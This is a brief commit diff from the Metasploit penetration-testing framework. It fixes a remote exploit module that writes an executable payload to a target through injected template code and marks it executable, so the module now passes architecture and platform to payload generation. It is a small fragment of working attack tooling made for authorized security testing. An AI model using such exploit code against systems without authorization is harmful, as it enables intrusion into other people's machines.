Specify arch & platform for generate_payload_exe

If not specified, generic payloads will fail.
bug/bundler_fix
wchen-r7 2015-12-01 18:46:52 -06:00
parent 0e21265ecc
commit 9697ce5033
1 changed files with 2 additions and 1 deletions

View File

@ -404,7 +404,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_files_for_cleanup(fname, new_fname)
print_status("Attempting to write #{fname}")
c = get_write_file_code(fname, generate_payload_exe)
p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform)
c = get_write_file_code(fname, p)
inject_template(c, cookie)
print_status("chmod +x #{fname}")